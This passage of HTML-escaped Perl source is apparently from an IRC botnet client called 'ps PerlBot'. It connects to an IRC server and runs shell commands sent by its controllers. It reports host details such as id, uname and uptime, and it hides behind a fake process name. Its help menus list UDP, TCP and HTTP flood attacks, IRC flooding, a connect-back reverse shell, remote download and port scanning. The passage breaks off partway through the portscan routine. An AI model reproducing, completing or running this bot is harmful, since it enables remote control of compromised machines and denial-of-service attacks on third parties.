&nbsp; &nbsp; print $socket &quot;$_[1]\n&quot;;<br />
&nbsp; } else {<br />
&nbsp; &nbsp; print $IRC_cur_socket &quot;$_[0]\n&quot;;<br />
&nbsp; }<br />
}<br />
&nbsp;<br />
sub getstore ($$)<br />
{<br />
&nbsp; my $url = shift;<br />
&nbsp; my $file = shift;<br />
&nbsp; $http_stream_out = 1;<br />
&nbsp; open(GET_OUTFILE, &quot;&gt; $file&quot;);<br />
&nbsp; %http_loop_check = ();<br />
&nbsp; _get($url);<br />
&nbsp; close GET_OUTFILE;<br />
&nbsp; return $main::http_get_result;<br />
}<br />
&nbsp;<br />
sub _get<br />
{<br />
&nbsp; my $url = shift;<br />
&nbsp; my $proxy = &quot;&quot;;<br />
&nbsp; grep {(lc($_) eq &quot;http_proxy&quot;) &amp;&amp; ($proxy = $ENV{$_})} keys %ENV;<br />
&nbsp; if (($proxy eq &quot;&quot;) &amp;&amp; $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {<br />
&nbsp; &nbsp; my $host = $1;<br />
&nbsp; &nbsp; my $port = $2 || 80;<br />
&nbsp; &nbsp; my $path = $3;<br />
&nbsp; &nbsp; $path = &quot;/&quot; unless defined($path);<br />
&nbsp; &nbsp; return _trivial_http_get($host, $port, $path);<br />
&nbsp; } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {<br />
&nbsp; &nbsp; my $host = $1;<br />
&nbsp; &nbsp; my $port = $2;<br />
&nbsp; &nbsp; my $path = $url;<br />
&nbsp; &nbsp; return _trivial_http_get($host, $port, $path);<br />
&nbsp; } else {<br />
&nbsp; &nbsp; return undef;<br />
&nbsp; }<br />
}<br />
&nbsp;<br />
&nbsp;<br />
sub _trivial_http_get<br />
{<br />
&nbsp; my($host, $port, $path) = @_;<br />
&nbsp; my($AGENT, $VERSION, $p);<br />
&nbsp; $AGENT = &quot;get-minimal&quot;;<br />
&nbsp; $VERSION = &quot;20000118&quot;;<br />
&nbsp; $path =~ s/ /%20/g;<br />
&nbsp;<br />
&nbsp; require IO::Socket;<br />
&nbsp; local($^W) = 0;<br />
&nbsp; my $sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $host,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PeerPort =&gt; $port,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Proto &nbsp; =&gt; 'tcp',<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Timeout &nbsp;=&gt; 60) || return;<br />
&nbsp; $sock-&gt;autoflush;<br />
&nbsp; my $netloc = $host;<br />
&nbsp; $netloc .= &quot;:$port&quot; if $port != 80;<br />
&nbsp; my $request = &quot;GET $path HTTP/1.0\015\012&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; . &quot;Host: $netloc\015\012&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; . &quot;User-Agent: $AGENT/$VERSION/u\015\012&quot;;<br />
&nbsp; $request .= &quot;Pragma: no-cache\015\012&quot; if ($main::http_no_cache);<br />
&nbsp; $request .= &quot;\015\012&quot;;<br />
&nbsp; print $sock $request;<br />
&nbsp;<br />
&nbsp; my $buf = &quot;&quot;;<br />
&nbsp; my $n;<br />
&nbsp; my $b1 = &quot;&quot;;<br />
&nbsp; while ($n = sysread($sock, $buf, 8*1024, length($buf))) {<br />
&nbsp; &nbsp; if ($b1 eq &quot;&quot;) {<br />
&nbsp; &nbsp; &nbsp; $b1 = $buf;<br />
&nbsp; &nbsp; &nbsp; $buf =~ s/.+?\015?\012\015?\012//s;<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; if ($http_stream_out) { print GET_OUTFILE $buf; $buf = &quot;&quot;; }<br />
&nbsp; }<br />
&nbsp; return undef unless defined($n);<br />
&nbsp; $main::http_get_result = 200;<br />
&nbsp; if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {<br />
&nbsp; &nbsp; $main::http_get_result = $1;<br />
&nbsp; &nbsp; if ($main::http_get_result =~ /^30[1237]/ &amp;&amp; $b1 =~ /\012Location:\s*(\S+)/) {<br />
&nbsp; &nbsp; &nbsp; my $url = $1;<br />
&nbsp; &nbsp; &nbsp; return undef if $http_loop_check{$url}++;<br />
&nbsp; &nbsp; &nbsp; return _get($url);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; return undef unless $main::http_get_result =~ /^2/;<br />
&nbsp; }<br />
&nbsp;<br />
&nbsp; return $buf;<br />
}<br />
&nbsp;<br />
sub conectar {<br />
&nbsp; my $meunick = $_[0];<br />
&nbsp; my $server_con = $_[1];<br />
&nbsp; my $port_con = $_[2];<br />
&nbsp; my $IRC_socket = IO::Socket::INET-&gt;new(Proto=&gt;&quot;tcp&quot;, PeerAddr=&gt;&quot;$server_con&quot;,<br />
&nbsp; PeerPort=&gt;$port_con) or return(1);<br />
&nbsp; if (defined($IRC_socket)) {<br />
&nbsp; &nbsp; $IRC_cur_socket = $IRC_socket;<br />
&nbsp; &nbsp; $IRC_socket-&gt;autoflush(1);<br />
&nbsp; &nbsp; $sel_cliente-&gt;add($IRC_socket);<br />
&nbsp; &nbsp; $irc_servers{$IRC_cur_socket}{'host'} = &quot;$server_con&quot;;<br />
&nbsp; &nbsp; $irc_servers{$IRC_cur_socket}{'port'} = &quot;$port_con&quot;;<br />
&nbsp; &nbsp; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;<br />
&nbsp; &nbsp; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket-&gt;sockhost;<br />
&nbsp; &nbsp; nick(&quot;$meunick&quot;);<br />
&nbsp; &nbsp; sendraw(&quot;USER $ircname &quot;.$IRC_socket-&gt;sockhost.&quot; $server_con :$realname&quot;);<br />
&nbsp; &nbsp; sleep 1;<br />
&nbsp; }<br />
}<br />
&nbsp;<br />
my $line_temp;<br />
while( 1 ) {<br />
&nbsp; while (!(keys(%irc_servers))) { conectar(&quot;$nick&quot;, &quot;$server&quot;, &quot;$port&quot;); }<br />
&nbsp; delete($irc_servers{''}) if (defined($irc_servers{''}));<br />
&nbsp; my @ready = $sel_cliente-&gt;can_read(0);<br />
&nbsp; next unless(@ready);<br />
&nbsp; foreach $fh (@ready) {<br />
&nbsp; &nbsp; $IRC_cur_socket = $fh;<br />
&nbsp; &nbsp; $meunick = $irc_servers{$IRC_cur_socket}{'nick'};<br />
&nbsp; &nbsp; $nread = sysread($fh, $msg, 4096);<br />
&nbsp; &nbsp; if ($nread == 0) {<br />
&nbsp; &nbsp; &nbsp; $sel_cliente-&gt;remove($fh);<br />
&nbsp; &nbsp; &nbsp; $fh-&gt;close;<br />
&nbsp; &nbsp; &nbsp; delete($irc_servers{$fh});<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; @lines = split (/\n/, $msg);<br />
&nbsp; &nbsp; for(my $c=0; $c&lt;= $#lines; $c++) {<br />
&nbsp; &nbsp; &nbsp; $line = $lines[$c];<br />
&nbsp; &nbsp; &nbsp; $line=$line_temp.$line if ($line_temp);<br />
&nbsp; &nbsp; &nbsp; $line_temp='';<br />
&nbsp; &nbsp; &nbsp; $line =~ s/\r$//;<br />
&nbsp; &nbsp; &nbsp; unless ($c == $#lines) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; parse(&quot;$line&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; &nbsp; if ($#lines == 0) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; parse(&quot;$line&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } elsif ($lines[$c] =~ /\r$/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; parse(&quot;$line&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; parse(&quot;$line&quot;); <br />
&nbsp; &nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; $line_temp = $line;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
}<br />
&nbsp;<br />
sub parse {<br />
&nbsp; my $servarg = shift;<br />
&nbsp; if ($servarg =~ /^PING \:(.*)/) {<br />
&nbsp; &nbsp; sendraw(&quot;PONG :$1&quot;);<br />
&nbsp; &nbsp; } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {<br />
&nbsp; &nbsp; my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;<br />
&nbsp; &nbsp; if ($args =~ /^\001VERSION\001$/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;notice(&quot;$pn&quot;, &quot;&quot;.$vers.&quot;&quot;);<br />
&nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {<br />
&nbsp; &nbsp; if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {<br />
&nbsp; &nbsp; if ($onde eq &quot;$meunick&quot;){<br />
&nbsp; &nbsp; shell(&quot;$pn&quot;, &quot;$args&quot;);<br />
&nbsp; }<br />
&nbsp; if ($args =~ /^(\Q$meunick\E|\!x)\s+(.*)/ ) {<br />
&nbsp; &nbsp; my $natrix = $1;<br />
&nbsp; &nbsp; my $arg = $2;<br />
&nbsp; &nbsp; if ($arg =~ /^\!(.*)/) {<br />
&nbsp; &nbsp; &nbsp; ircase(&quot;$pn&quot;,&quot;$onde&quot;,&quot;$1&quot;);<br />
&nbsp; &nbsp; &nbsp; } elsif ($arg =~ /^\@(.*)/) {<br />
&nbsp; &nbsp; &nbsp; $ondep = $onde;<br />
&nbsp; &nbsp; &nbsp; $ondep = $pn if $onde eq $meunick;<br />
&nbsp; &nbsp; &nbsp; bfunc(&quot;$ondep&quot;,&quot;$1&quot;);<br />
&nbsp; &nbsp; &nbsp; } else {<br />
&nbsp; &nbsp; &nbsp; shell(&quot;$onde&quot;, &quot;$arg&quot;);<br />
&nbsp; &nbsp; }<br />
&nbsp; }<br />
}<br />
}<br />
}<br />
&nbsp;<br />
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {<br />
&nbsp; if (lc($1) eq lc($meunick)) {<br />
&nbsp; $meunick=$4;<br />
&nbsp; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;<br />
&nbsp; }<br />
&nbsp; } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {<br />
&nbsp; nick(&quot;$meunick-&quot;.int rand(9999));<br />
&nbsp; } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {<br />
&nbsp; $meunick = $2;<br />
&nbsp; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;<br />
&nbsp; $irc_servers{$IRC_cur_socket}{'nome'} = &quot;$1&quot;;<br />
&nbsp; foreach my $canal (@channels) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw(&quot;MODE $nick +x&quot;);<br />
&nbsp; &nbsp; sendraw(&quot;JOIN $canal&quot;);<br />
}<br />
}<br />
}<br />
&nbsp;<br />
sub bfunc {<br />
my $printl = $_[0];<br />
my $funcarg = $_[1];<br />
&nbsp; if (my $pid = fork) {<br />
&nbsp; waitpid($pid, 0);<br />
&nbsp; } else {<br />
&nbsp; if (fork) {<br />
&nbsp; exit;<br />
&nbsp; } else {<br />
###########################<br />
##### [ Help Module ] #####<br />
###########################<br />
&nbsp;<br />
if ($funcarg =~ /^help/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1=========================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1ps PerlBot Main Help:&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1=========================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1system &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1version &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1channel &nbsp; &nbsp; &nbsp;&quot;);&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1flood &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1utils &nbsp; &nbsp; &nbsp; &nbsp;&quot;);&nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1=========================&quot;);<br />
}<br />
&nbsp;<br />
if ($funcarg =~ /^system/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; $uptime=`uptime`;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $ownd=`pwd`; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $id=`id`;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $uname=`uname -srp`;<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1============================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1 &nbsp;ps Bot Configuration: &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1============================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1*Server &nbsp; &nbsp; &nbsp;: 12$server &nbsp; &quot;);&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1*Port &nbsp; &nbsp; &nbsp; &nbsp;: 12$port &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1*Channels &nbsp; &nbsp;: 12@channels &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1*uname -a &nbsp; &nbsp;: 12$uname &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1*uptime &nbsp; &nbsp; &nbsp;: 12$uptime &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1*ProcessPID &nbsp;: 12$$ &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1*ID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: 12$id &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1*Own Dir &nbsp; &nbsp; : 12$ownd &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [System] 9,1============================&quot;);<br />
}<br />
&nbsp;<br />
if ($funcarg =~ /^version/){<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Version] 9,1==================================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Version] 9,1 &nbsp; &nbsp;ps Bot Informations: &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Version] 9,1==================================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12CrAmEr &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Version] 9,1*Bot Year &nbsp; &nbsp;: 122012 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Version] 9,1==================================&quot;);<br />
}<br />
&nbsp;<br />
if ($funcarg =~ /^flood/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1=============================================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1 &nbsp; &nbsp; &nbsp; &nbsp; ps PerlBot Flood Help: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1=============================================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp1 &lt;ip&gt; &lt;port&gt; &lt;time&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp2 &lt;ip&gt; &lt;packet size&gt; &lt;time&gt; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1udp3 &lt;ip&gt; &lt;port&gt; &lt;time&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1tcp &lt;ip&gt; &lt;port&gt; &lt;pack size&gt; &lt;time&gt;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1http &lt;site&gt; &lt;time&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1ctcpflood &lt;nick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1msgflood &lt;nick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1noticeflood &lt;nick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1=============================================&quot;);<br />
}<br />
&nbsp;<br />
if ($funcarg =~ /^channel/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1====================================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1 &nbsp; &nbsp; &nbsp; &nbsp;ps PerlBot Channel Help: &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1====================================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1join &lt;channel&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1part &lt;channel&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1rejoin &lt;channel&gt; &nbsp; &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1op &lt;channel&gt; &lt;nick&gt; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1deop &lt;channel&gt; &lt;nick&gt; &nbsp; &nbsp;&quot;);&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1voice &lt;channel&gt; &lt;nick&gt; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1devoice &lt;channel&gt; &lt;nick&gt; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1nick &lt;newnick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1msg &lt;nick&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1quit &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;);&nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12!9,1die &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1====================================&quot;);<br />
}<br />
&nbsp;<br />
if ($funcarg =~ /^utils/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1=========================================================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ps PerlBot Utils Help: &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1=========================================================&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1cback &lt;ip&gt; &lt;port&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;); &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1download &lt;url+path&gt; &lt;file&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;); &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1mail &lt;subject&gt; &lt;sender&gt; &lt;recipient&gt; &lt;message&gt; &quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1dns &lt;ip&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;); &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1port &lt;ip&gt; &lt;port&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x 12@9,1portscan &lt;ip&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &quot;); &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1!x pwd (for example) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PRIVMSG $printl :4,1 [Help] 9,1=========================================================&quot;);<br />
}<br />
&nbsp;<br />
#########################<br />
##### [ Functions ] #####<br />
#########################<br />
&nbsp;<br />
if ($funcarg =~ /^die/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;QUIT :&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $killd = &quot;kill -9 &quot;.fork;<br />
&nbsp; &nbsp; &nbsp; &nbsp; system (`$killd`);<br />
}<br />
########### &nbsp; &nbsp; <br />
if ($funcarg =~ /^join (.*)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;JOIN &quot;.$1);<br />
}<br />
&nbsp;<br />
if ($funcarg =~ /^part (.*)/) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; sendraw($IRC_cur_socket, &quot;PART &quot;.$1);<br />
}<br />
###########<br />
if ($funcarg =~ /^portscan (.*)/) {<br />
&nbsp; my $hostip=&quot;$1&quot;;<br />
